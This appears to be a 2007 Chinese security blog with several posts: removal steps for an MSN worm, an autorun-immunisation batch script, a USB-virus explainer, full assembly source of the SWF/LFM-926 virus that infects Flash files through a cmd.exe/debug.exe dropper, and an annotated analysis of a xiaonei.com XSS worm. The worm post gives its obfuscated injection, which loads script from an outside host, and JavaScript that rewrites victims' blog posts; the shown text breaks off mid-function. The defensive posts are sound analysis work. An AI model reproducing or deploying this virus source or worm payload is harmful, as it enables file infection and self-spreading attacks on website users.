2007年10月31日

手动清除chcp.exe病毒 保护MSN的安全

  随着即时通讯工具的强大,木马病毒也加快了脚本,MSN早就成为了其通向第三方计算机感染跳越的平台。在好友圈中,只要盗取一个MSN好友帐号或感染一台用户计算机,病毒即会伸出罪恶之手,将会在用户MSN聊天时发送病毒信息。

    病毒分析
    该病毒属于MSN蠕虫变种,被感染的计算机会自动向MSN联系人发送诱惑文字消息和带毒压缩包,当对方接收并打开带毒压缩包中的病毒文件时,系统即成为新的受害者,并因此尝试感染另一台计算机。病毒大小为434,176 字节,通过MSN聊天工具进行传播。

    被感染的计算机,病毒首先会在系统目录 %Windows%下生成含带病毒源体的F0538_jpg.zip压缩包,随后病毒自身开始在计算机中的%Windows%目录下创建副本chcp.exe 可执行文件,并在注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]分支下建立"chcp.exe"="%Windows%\chcp.exe"自启动项目,然后病毒开始修改注册分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]下的"SFCDisable"=dword:ffffff9d  和"SFCScan"=dword:00000000值,进行关闭系统文件保护,并且更改  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]分支下的 "WaitToKillServiceTimeout"=的值为"7000",达到更改自动关闭进程等待时间的效果。

    完成上述后,病毒仍没有安静的等待,而是查找被感染的计算机中是否存在FTP目录,如果有则将原正常程序改名为backup.ftp、backup.tftp并复制到%System%\microsoft目录下,随后在系统目录%System%下写入ftp.exe、tftp.exe、dllcache\tftp.exe、dllcache\ftp.exe可执行程序,做完一系列的手脚,病毒开始向MSN联系人发送诱惑型文字消息,并夹带毒包F0538_jpg.zip欺骗用户打开。

   清除方法
    中了此毒的用户也不要紧张,在了解了生存原理后要想清除该病毒也非难事,只要按照以下几个步骤实施即可将病毒清除出界,让系统中的MSN正常运行。

    一、首先要进入注册表分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下,将"chcp.exe"="%Windows%\chcp.exe"自建的随机启动项删除,完成后重启计算机。

    二、进入%Windows%\目录下将病毒源体文件chcp.exe及F0538_jpg.zip压缩包删除。

    三、将目录%System%下的FTP破坏代替程序ftp.exe、tftp.exe、dllcache\tftp.exe、dllcache\ftp.exe删除,并将%System%\microsoft目录下的backup.ftp、backup.tftp改回到目录%System%下。

    四、删除注册表分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]下的"SFCDisable"=dword:00000000键值,恢复系统文件保护。

    五、最后将注册表[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]分支下的"WaitToKillServiceTimeout"=改为"20000" 从而恢复系统自动关闭进程等待时间的默认配置。
           
    笔者按:在MSN病毒中变体有很多种如:MSN机器人、MSN小丑、MSN性感相册等,其原理都是利用MSN作为平台在同聊友沟通的同时发送病毒信息,通过MSN好友关系欺骗用户点击,然后再次传播,从而形成强大的传播途径。为了更好的处理此类病毒,这里建议用户加强计算机的先期保护如:开启杀软定时升库,安装安全类软件,不定期打入系统补丁等,并且多了解每日病毒动态,即时作好防范工作即可,一但用户被感染时应立即作出回应,利用手工删除或下载相应的专杀工具进行清理,以免让更多的用户成为受害者。

  • » 阅读全文...
  • 2007年10月30日

    编写autorun病毒免疫工具

    autorun病毒的危害相信中过招的人都有体会。其最大的特点就在于很难清除干净,现在可以提前对系统分区做一次免疫工作,而那些已经中了autorun病毒的用户也能顺便将病毒清除。  
        
    有人曾经使用系统组策略的方法,不过对于初学者来说有点复杂。现在复制以下代码到文本文件中,保存为bat文件即可。
        @echo off
    cls
    echo          按 S 键删除Autorun.inf并进行免疫
    echo.
    echo          按 D 键删除免疫程序
    echo.
    echo          按其他任意键退出
    echo.
    echo.
    SET Choice=
    SET /P Choice=        请选择要进行的操作:  
    IF /I ’%Choice:~0,1%’==’s’ GOTO setup
    IF /I ’%Choice:~0,1%’==’d’ GOTO Delset
    IF /I ’%Choice:~0,1%’==’q’ GOTO Exit
    exit
    :Setup
    taskkill /im explorer.exe /f
    for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do @(
        if exist %%a: (
            rd %%a:\autorun.inf /s /q
            del %%a:\autorun.inf /f /q
            mkdir %%a:\autorun.inf
            mkdir %%a:\autorun.inf\"病毒免疫勿删除../" 
            attrib +h +r +s %%a:\autorun.inf
            
        ) 
    )
    start explorer.exe
    for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
      if exist %%a:\nul (
        >1.vbs echo msgbox^ "%%a:免疫成功",64,"提示:"
        1.vbs
      )
    )
    del 1.vbs
    echo.
    echo.
    echo                        按任意键退出...
    pause>nul
    exit
    :delset
    For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do @(
        If Exist %%a: (      
            rd %%a:\autorun.inf /s /q
                    
        ) 
    )
    echo.
    echo.
    echo                        操作完毕,按任意键退出...
    pause>nul
    exit

        具体原理为通过检测autorun.inf和删除相应文件达到直接消灭病毒的目的。操作比较简单,只要按两个键就可以了。

  • » 阅读全文...
  • U盘(auto病毒)类病毒分析与解决方案

    一、U盘病毒简述: 
      U盘(自动运行)类病毒(auto病毒)近来非常常见,并且具有一定程度危害,它的机理是依赖Windows的自动运行功能,使得我们在点击打开磁盘的时候,自动执行相关的文件。目前我们使用U盘都十分频繁,当我们享受U盘所带来的方便时,U盘病毒也在悄悄利用系统的自动运行功能肆意传播,目前流行的U盘病毒文件大家甚至耳熟能详了,比如经常有网友问的SSS.EXE SXS.EXE如何查杀这类的,下面我们将对U盘病毒极其特性和防范办法进行分析总结。
      
    二、特性分析:
      所谓的自动运行功能是指Windows系统一种方便特性,使当光盘、U盘插入到机器自动运行,而这种特性的实现就是通过磁盘跟目录下的 autorun.inf文件进行。这个文件保存在驱动器的根目录下(一般会是一个隐藏属性的系统文件),它保存着一些简单的命令,告知系统新插入的光盘或 U盘应该自动启动什么程序等。
      常见的Autorun.inf文件格式大致如下:
      [AutoRun]    //表示AutoRun部分开始,必须输入
      icon=C:\C.ico  //指定给C盘一个个性化的盘符图标C.ico
      open=C:\1.exe  //指定要运行程序的路径和名称,只要在此放入病毒程序就可自动运行;
      在Windows系统有允许和阻止自动运行的键值的方法:
      在注册表中找到如下键:
      键路径:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer]
      在右侧窗格中有 "NoDriveTypeAutoRun"这个键决定了是否执行Autorun功能.其中每一位代表一个设备,不同设备用以下数值表示:
      设备名称 第几位 值 设备用如下数值表示 设备名称含义
      DRIVE_UNKNOWN 0 1 01h 不能识别的类型设备
      DRIVE_NO_ROOT_DIR 1 0 02h 没有根目录的驱动器
      DRIVE_REMOVABLE 2 1 04h 可移动驱动器
      DRIVE_FIXED 3 0 08h 固定的驱动器
      DRIVE_REMOTE 4 1 10h 网络驱动器
      DRIVE_CDROM 5 0 20h 光驱
      DRIVE_RAMDISK 6 0 40h RAM磁盘
      其中: 保留 7 1 80h  未指定的驱动器类型
      以上值"0"表示设备运行,"1"表示设备不运行。
      从上面可以看出,对应的DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK是可以自动运行的。所以要禁止硬盘自动运行AutoRun.inf文件,就必须将DRIVE_FIXED这些键的值设为1,由于DRIVE_FIXED代表固定的驱动 器(即硬盘)。如果仅想禁止软件光盘的AutoRun功能,但又保留对CD音频碟的自动播放能力,这时只需将“NoDriveTypeAutoRun”的键值改为:BD,00,00,00即可。
      U盘病毒就是利用这种系统特性,一般在感染后会修改系统的注册表,将显示所有文件的选项设置为禁止。甚至修改磁盘关联,杀毒软件一般会只把病毒文件清除,但对残余的文件不会处理。这也是常见的杀毒软件为什么常常无法清除干净,或者清除后双击无法打开磁盘的原因。
      
    三、解决方案:
      1、使用超级巡警套装来全面解决U盘病毒问题(推荐!):
      ①超级巡警对U盘病毒检测进行了特别的处理,可以快速的监测和定位U盘病毒,并清除它们。
      ②超级巡警同时还提供对注册表关联修复和自动运行阻止的处理。
      2、手动解决办法:
      ①根据上面的原理,自己修改注册表禁止磁盘的自动运行特性。
      ②把文件夹选项中隐藏受保护的操作系统文件钩掉,选中显示所有文件和文件夹,点击确定。这样可以在感染病毒的移动存储设备中会看到几个文件(包括autorun.inf和病毒文件),删除后,病毒就清除了。
  • » 阅读全文...
  • 2007年10月28日

    国外的第一只[感染*.swf]flash病毒的源代码

    SWF/LFM-926 Virus:
    ; ------------------
    ; Description: WinNT/XP Virus dropper for Flash .SWF files!
    ; Masm Version 6.11: ML.EXE SWF.ASM
    ; Virus Size: 926 bytes
    ; Infection Size: 3247 bytes.
    ; Last Edit: 01/08/2002

    ; --------------------------------- Begin Source Code ------------------------------------

    .286
    .model tiny
    .code
    org 100h

    Entry: jmp Start

    VIR_SIZE equ Virus_End-Entry

    DTA db 128 dup(0) ; Offset DTA+30 = filename
    HANDLE dw ? ; Handle to host file
    PTR1 dd 0 ; Segment address of the created memory block
    PATH db "*.SWF",0 ; File mask
    BINARY db "v.com",0 ; Binary code
    HEX db "0123456789ABCDEF" ; Binary to hex

    ; Flash header block.
    ; -------------------
    SIGN_FW dw ? ; SWF file format
    SIGN_S db ?
    VERSION_NUM db ?
    FILE_LENGTH dw ?
    dw ?
    STATIC_HDR_SIZE equ $-SIGN_FW

    RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isnt static. ;(
    RECT_BUF_SIZE equ $-RECT_BUF

    HDR_SIZE dw ? ; Holds the true header size!

    ; Start of Viral Frame 0.
    ; -----------------------
    Drop_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes!
    TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG]
    dw 0
    db 083h ; ActionGetUrl Tag
    ACTION_LENGTH dw 0 ; (Drop_BEGIN_SIZE-9)+(SUM OF Drop_MIDDLE)+(Drop_END_SIZE)
    db FSCommand:exec
    db 000h
    db cmd.exe
    db 009h ; chr(9) is Flash code for a space character.
    db /c
    db 009h
    db echo
    db 009h
    db Loading.Flash.Movie...
    db &
    db (echo
    db 009h
    db n
    db 009h
    db v.com&echo
    db 009h
    db a
    db 009h
    db 100&
    Drop_BEGIN_SIZE equ $-Drop_BEGIN

    Drop_MIDDLE db echo
    db 009h
    db db
    db 009h
    db 71 dup(,) ; db XX,...,XX where XXs are viral hex codes.
    db &
    Drop_MIDDLE_SIZE equ $-Drop_MIDDLE

    Drop_END db &echo.&echo
    db 009h
    db rcx&echo
    db 009h
    db 39E ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes.
    db &echo
    db 009h
    db w&echo
    db 009h
    db q)|debug.exe>nul&start
    db 009h
    db /b
    db 009h
    db v.com
    db 000h ; StringEnd Tag
    Drop_END_SIZE equ $-Drop_END

    ; End of Viral Frame 0.
    ; ---------------------
    END_TAG db 001h ; Action code 0x01 = tagshowframe Tag

    Start:
    mov ax,(VIR_SIZE+0fh)
    shr ax,4
    shl ax,1
    mov bx,ax ; Allocate (VirusSize*2)
    mov ah,4ah
    int 21h ; Resize block
    jc ExProg

    mov dx,offset DTA ; Set DTA operation
    mov ah,1ah
    int 21h

    mov cx,07h
    mov dx,offset PATH
    mov ah,4eh ; FindFirst
    int 21h
    jc ExProg
    jmp Infect
    Cycle:
    mov dx,offset PATH
    mov ah,4fh ; FindNext
    int 21h
    jc ExProg
    jmp Infect
    ExProg:
    mov ax,4301h ; Hide v.com
    mov cx,02h
    mov dx,offset BINARY
    int 21h

    mov ax,4c00h ; End program
    int 21h
    Infect:
    mov byte ptr DTA[30+12],$
    mov dx,offset (DTA+30)

    mov ax,3d02h ; Open host file
    int 21h
    jc ExProg

    mov [HANDLE],ax ; Save file handle

    mov ax,3f00h ; Read file Header
    mov dx,offset SIGN_FW
    mov bx,[HANDLE]
    mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)
    int 21h
    jc ExProg

    cmp word ptr SIGN_FW,WF ; Check for a valid Flash SWF file.
    jne Cycle ; Try another file ...
    cmp byte ptr SIGN_S,S
    jne Cycle
    cmp byte ptr VERSION_NUM,099h ; Already infected?
    je Cycle

    mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag.
    xor di,di ; Seems to always exist directly after the header.
    next: cmp byte ptr RECT_BUF[di],043h
    jne not_found
    cmp byte ptr RECT_BUF[di+1],002h
    jne not_found
    jmp found
    not_found:
    inc di
    loop next
    jmp Cycle
    found:
    mov word ptr HDR_SIZE,STATIC_HDR_SIZE
    add word ptr HDR_SIZE,di ; Compute the header size

    mov ax,4200h ; Reset file ptr right after Flash header
    xor cx,cx
    mov dx,[HDR_SIZE]
    int 21h
    jc ExProg

    push bx
    mov ax,word ptr FILE_LENGTH
    add ax,15
    shr ax,4
    mov bx,ax
    mov ah,48h ; Allocate memory for target host file
    int 21h
    pop bx
    jc ExProg
    mov word ptr PTR1[2],ax ; Save pointer to allocated block

    mov cx,word ptr FILE_LENGTH
    sub cx,[HDR_SIZE]
    mov ah,3fh ; Read host file into memory block
    push ds
    lds dx,[PTR1]
    int 21h
    pop ds
    jc ExProg

    mov ax,4200h ; Reset file ptr to the middle code section
    xor cx,cx
    mov dx,[HDR_SIZE]
    add dx,Drop_BEGIN_SIZE
    int 21h
    jc ExProg

    ;
    ; The following code is a key technique. It simply converts the
    ; virus from binary to hex characters and then inserts them into the host
    ; using a standard format that DEBUG.EXE expects! Flash only really
    ; allows plain text, so this satisfies that condition.
    ;

    mov word ptr ACTION_LENGTH,(Drop_BEGIN_SIZE-9+Drop_END_SIZE)
    push bx
    mov cx,VIR_SIZE
    xor si,si
    xor di,di
    ToHex:
    mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex humber
    mov al,byte ptr Entry[si]
    mov ah,al
    and al,00001111y
    xlat
    mov Drop_MIDDLE[STATIC_HDR_SIZE+di+1],al
    shr ax,12
    xlat
    mov Drop_MIDDLE[STATIC_HDR_SIZE+di],al
    inc si
    inc di
    inc di
    inc di
    mov ax,si
    mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line.
    div bl
    or ah,ah
    jnz cont
    push cx
    xor di,di
    add word ptr ACTION_LENGTH,Drop_MIDDLE_SIZE
    mov bx,[HANDLE] ; Write hex dump entry XX,...,XX
    mov dx,offset Drop_MIDDLE
    mov cx,Drop_MIDDLE_SIZE
    mov ax,4000h
    int 21h
    jc ExProg
    pop cx
    cont:
    loop ToHex
    pop bx

    or di,di
    jz no_remainder

    mov dx,offset Drop_MIDDLE
    mov cx,di
    add cx,7 ; STATIC_HDR_SIZE-1
    add word ptr ACTION_LENGTH,cx
    mov ax,4000h ; Write remainder hex dump entry XX,...,XX
    int 21h
    jc ExProg

    no_remainder:
    mov dx,offset Drop_END
    mov cx,Drop_END_SIZE+1
    mov ax,4000h ; Write end code and end of frame tag(01) into host
    int 21h
    jc ExProg

    mov cx,word ptr FILE_LENGTH
    sub cx,[HDR_SIZE]
    mov ax,4000h ; Write host code directly after viral code.
    push ds
    lds dx,[PTR1]
    int 21h
    pop ds
    jc ExProg
    ; Patch the header with new viral values.
    mov cx,word ptr ACTION_LENGTH
    add cx,4
    mov word ptr TAG_LENGTH,cx
    add cx,6
    add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6)
    ; Set infection marker
    mov byte ptr VERSION_NUM,099h

    mov di,[HDR_SIZE]
    inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1

    mov ax,4200h ; Re-wind to start of file
    xor cx,cx
    xor dx,dx
    int 21h
    jc ExProg

    mov dx,offset SIGN_FW
    mov cx,[HDR_SIZE]
    mov ax,4000h ; Write updated viral header
    int 21h
    jc ExProg

    mov dx,offset Drop_BEGIN
    mov cx,Drop_BEGIN_SIZE
    mov ax,4000h ; Write begin code into host
    int 21h
    jc ExProg

    mov ah,49h ; Free memory block
    mov es,word ptr PTR1[2]
    int 21h
    jc ExProg

    mov ax,3e00h ; Close file
    int 21h
    jc ExProg

    jmp Cycle ; DONE! Try to infect another.

    Virus_End:
    end Entry

    被复仇天说后,重新看了下文件,感觉有点问题 ,特重新更改标题。
    以上内容只供学习、研究使用,如果利用其来搞破坏或者是做些违法的事情。

  • » 阅读全文...
  • 2007年10月20日

    一个不为人知的感染几百万校内网用户的蠕虫分析

    文章作者:langouster
    信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

    在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。

     <a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>

    以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调回来就变成以下内容:

     set s=document.createElement("script")
     s.src=http://www.sosoface.com/images/xnjs.jpg
     document.getElementById("mya113").parentNode.insertBefore s,document.getElementById("mya113")

    在这段脚本中它又新建了一个script,它的src指向http://www.sosoface.com/images/xnjs.jpg(别相信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
    值得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长统计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下sosoface,还是看到这个网站的流量图:
    http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218

    从图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次考虑到一个人可能访问多个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫应该是被校内的人发现了,一夜之间全部消失了。 Sosoface也被停了。

    下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。看时从最底下的start函数看起:

     var req = null;
     var step=null;
     var DiaryMonthUrlList="",DiaryUrlList="";
     var timer=null;
     var bIsBusy=false;

     var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44";

     function my_HtmlDecode(str)
     {
     str=str.replace(/</g,"<");
     str=str.replace(/>/g,">");
     str=str.replace(/&/g,"&");
     str=str.replace(/ /g," ");
     str=str.replace(/"/g,""");
     str=str.replace(/<br>/g,"n");
     str=str.replace(/#/g,"#");
     str=str.replace(/(/g,"(");
     str=str.replace(/)/g,")");
     str=str.replace(/"/g,""");
     str=str.replace(/'/g,"'");
     str=str.replace(/#/g,"#");
     str=str.replace(/(/g,"(");
     str=str.replace(/)/g,")");
     str=str.replace(/"/g,""");
     str=str.replace(/'/g,"'");
     return str;
     }
     function processReqChange()
     {
     if (req.readyState == 4 && req.status == 200 )
     {
     if("WriteIframe"==step)
     {
     var text,len,i=0,j=0,temp;
     
     text=req.responseText;
     i=text.indexOf("<div class="article">",0);
     if(-1==i){return}
     i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);
     if(-1==i){return}
     j=text.indexOf(""",i);
     if(-1==j){return}
     text=text.substring(i,j);
     
     document.getElementById("mya113").style.background="#FFFFFF";
     var s=document.createElement("iframe");
     s.frameborder="0";
     s.height="0";
     s.width="1";
     s.src=text;
     document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));
     }
     else if("GetDiaryMonthList"==step)
     {
     var text,len,i=0,j=0,temp;
     //text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”中的每一个链接,保存到DiaryMonthUrlList中
     //然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表
     text=req.responseText;
     i=text.indexOf("<div id="list-archive">",0);
     if(-1==i){return}
     j=text.indexOf("<div class="bottom-box">",i);
     if(-1==j){return}
     text=text.substring(i,j);
     
     i=j=0;
     while(1)
     {
     i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);
     if(-1==i)break;
     j=text.indexOf("'>",i);
     if(-1==j)break;
     temp=text.substring(i,j);
     i+=temp.length;
     temp=my_HtmlDecode(temp)+"|";
     DiaryMonthUrlList+=temp;
     }
     if(DiaryMonthUrlList.length<=1)
     {
     return;
     }
     
     step="GetDiaryList";
     req=null;
     bIsBusy=false;
     timer=window.setInterval(GetStatus,1000);
     }
     else if("GetDiaryList"==step)
     {
     var text,len,i,j,temp,temp2;
     var text2="http://blog.xiaonei.com/EditEntry.do?id=";
     
     //text的内容就和用户点了“日志存档”后的内容一样
     //分析HTML得到每个月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也就是取得日志的内容,
     //看本函数下面else if("GetDiaryText"==step)就是了
     text=req.responseText;
     
     len=text.length;
     i=text.indexOf("<div id="list-article">");
     if(-1==i)
     {
     req=null;
     bIsBusy=false;
     return;
     }
     j=text.indexOf("</table>",i);
     if(-1==j)
     {
     req=null;
     bIsBusy=false;
     return;
     }
     text=text.substring(i,j);
     i=j=0;
     
     
     while(1)
     {
     j=0;
     len=0;
     j=DiaryUrlList.indexOf("|",j);
     while(j!=-1)
     {
     j++;
     len++;
     j=DiaryUrlList.indexOf("|",j);
     }
     
     if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
     {
     break;
     }
     
     i=text.indexOf(text2,i);
     if(-1==i)
     {
     break;
     }
     i+=text2.length;
     j=text.indexOf("">",i);
     if(-1==j || j-i>10)
     {
     break;
     }
     temp=text2+text.substring(i,j)+"|";
     DiaryUrlList+=temp;
     }
     req=null;
     bIsBusy=false;
     }
     else if("GetDiaryText"==step)
     {
     var text,len,i,j;
     var argv;
     var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;
     
     
     text=req.responseText;
     //这个模块模拟用户编辑日志,在每篇日志的开关都加上
     //<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>
     
     i=text.indexOf("<form action="http://upload.xiaonei.com/EditEntry.do"",0);
     
     if(-1==i)
     {
     return;
     }
     i+=53;
     
     j=text.indexOf("</form>",i);
     if(-1==j)
     {
     return;
     }

     text=text.substring(i,j);
     //------------------------
     
     i=text.indexOf("id="title" class="inputtext" tabindex="1" value="",0);
     if(-1==i)return;
     i+=49;
     j=text.indexOf("" />",i);
     if(-1==j)return;
     title=text.substring(i,j);
     //---
     i=text.indexOf("<textarea name="body" id="body" cols="100%" style="display:none">",0);
     if(-1==i)return;
     i+=65;
     j=text.indexOf("</textarea>",i);
     if(-1==j)return;
     body=text.substring(i,j);
     //---
     i=text.indexOf("id="blog_pic_id" value="",0);
     if(-1==i)return;
     i+=24;
     j=text.indexOf("" />",i);
     if(-1==j)return;
     blog_pic_id=text.substring(i,j);
     //---
     i=text.indexOf("id="pic_path" value="",0);
     if(-1==i)return;
     i+=21;
     j=text.indexOf("" />",i);
     if(-1==j)return;
     pic_path=text.substring(i,j);
     //---
     i=text.indexOf("name="id" value="",0);
     if(-1==i)return;
     i+=17;
     j=text.indexOf("" />",i);
     if(-1==j)return;
     Diaryid=text.substring(i,j);
     //---
     i=text.indexOf("" selected="selected"",0);
     if(-1==i)return;
     j=i-2;
     if(text.substr(j,1)==""")
     j++;
     blogControl=text.substring(j,i);
     
     
     body=my_HtmlDecode(body);
     if(body.indexOf("mya113",0)>=0)//已经感染过,不再感染
     {
     req=null;
     step="GetDiaryText";
     bIsBusy=false;
     
     return;
     }
     else
     {
     ;
     }
     //以上是取日志的各个变量信息
     //以下开头就感染日志并修改
     
     body=MyDecode(myrand)+body;
     //感染日志 在日志的开头加上跨站代码
     //MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量中,程序开头的一长串数据就是
     
     //以下开始POST提交修改过的日志
     argv="";
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="title"";
     argv+=(title+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="body"";
     argv+=(body+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="theFile"; filename=""Content-Type: application/octet-stream";
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="blog_pic_id"";
     argv+=(blog_pic_id+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="pic_path"";
     argv+=(pic_path+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="blogControl"";
     argv+=(blogControl+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="id"";
     argv+=(Diaryid+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="relative_optype"";
     argv+=("publisher"+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="del_relative_id"";
     argv+="-----------------------------7d71861cb014c--";
     
     
     req=null;
     step="EditDiaryText";
     loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);
     

     }
     else if("EditDiaryText"==step)
     {
     
     req=null;
     bIsBusy=false;
     step="GetDiaryText";
     }
     else
     {
     ;
     }
     
     }
     }
     function MyDecode(str)
     {
     var i,k,str2="";
     
     k=str.split(".");
     
     for(i=0;i<k.length;i++)
     {
     str2+=String.fromCharCode(k[i]^0x12);
     }
     return str2;
     }
     function loadUrl( url,method,argv )
     {
     bIsBusy=true;
     if(!req)
     {
     if(window.XMLHttpRequest)
     {
     try
     {
     req = new XMLHttpRequest();
     } catch(e) { req = false; }
     }
     else if(window.ActiveXObject)
     {
     try
     {
     req = new ActiveXObject('Msxml2.XMLHTTP');
     }
     catch(e)
     {
     try
     {
     req = new ActiveXObject('Microsoft.XMLHTTP');
     } catch(e) { req = false; }
     }
     }
     }
     if(req)
     {
     req.onreadystatechange = processReqChange;
     try
     {
     req.open(method, url, true);
     if(method=="POST")
     req.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------7d71861cb014c");
     req.send(argv);
     }catch(e)
     {
     req=false;
     }
     }
     }
     function GetStatus()
     {
     if(bIsBusy)return;
     
     if("GetDiaryList"==step)
     {
     var DiaryMonthUrl,i;
     
     //取出每个月的日志列表
     if(DiaryMonthUrlList.length<=1)
     {
     step="GetDiaryText";
     return;
     }
     i=DiaryMonthUrlList.indexOf("|",0);
     if(-1==1)
     {
     step="GetDiaryText";
     return;
     }
     DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);
     DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length);
     
     //再回到开头的processReqChange函数 此时step还是GetDiaryList
     loadUrl(DiaryMonthUrl,"GET","");

     }
     else if("GetDiaryText"==step)
     {
     var DiaryUrl,i;
     if(DiaryUrlList.length<=1)
     {
     clearInterval(timer);
     return;
     }
     
     i=DiaryUrlList.indexOf("|",0);
     if(-1==i)
     {
     clearInterval(timer);
     return;
     }

     DiaryUrl=DiaryUrlList.substring(0,i);
     DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);

     loadUrl(DiaryUrl,"GET","");
     }
     }
     function WriteStat()
     {
     var s=document.createElement("iframe");
     s.frameborder="0";
     s.height="0";
     s.width="0";
     s.src="http://www.sosoface.com/images/stat.jpg";
     document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));

     }

     function DeleteScript(html)
     {
     var i=0,j=0,str;
     
     str=html;

     i=str.indexOf("</A>",0);
     if(-1==i)
     return str;
     i+=4;
     str=str.substring(i,str.length);

     return str;
     }
     function EditorSubmit()
     {
     var ret=false;
     parent.parent.descOptype();
     ret=parent.parent.beforeSubmit();

     parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteScript(parent.parent.document.getElementById("body").value);

     return ret;
     }
     function Start()
     {
     //判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的
     if("blog.xiaonei.com"==document.domain)
     {
     //如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写了一遍,不知道为什么这样做
     if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)
     {
     parent.parent.document.getElementById("editorForm").onsubmit=EditorSubmit;
     }
     else
     {
     
     WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手
     //下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档
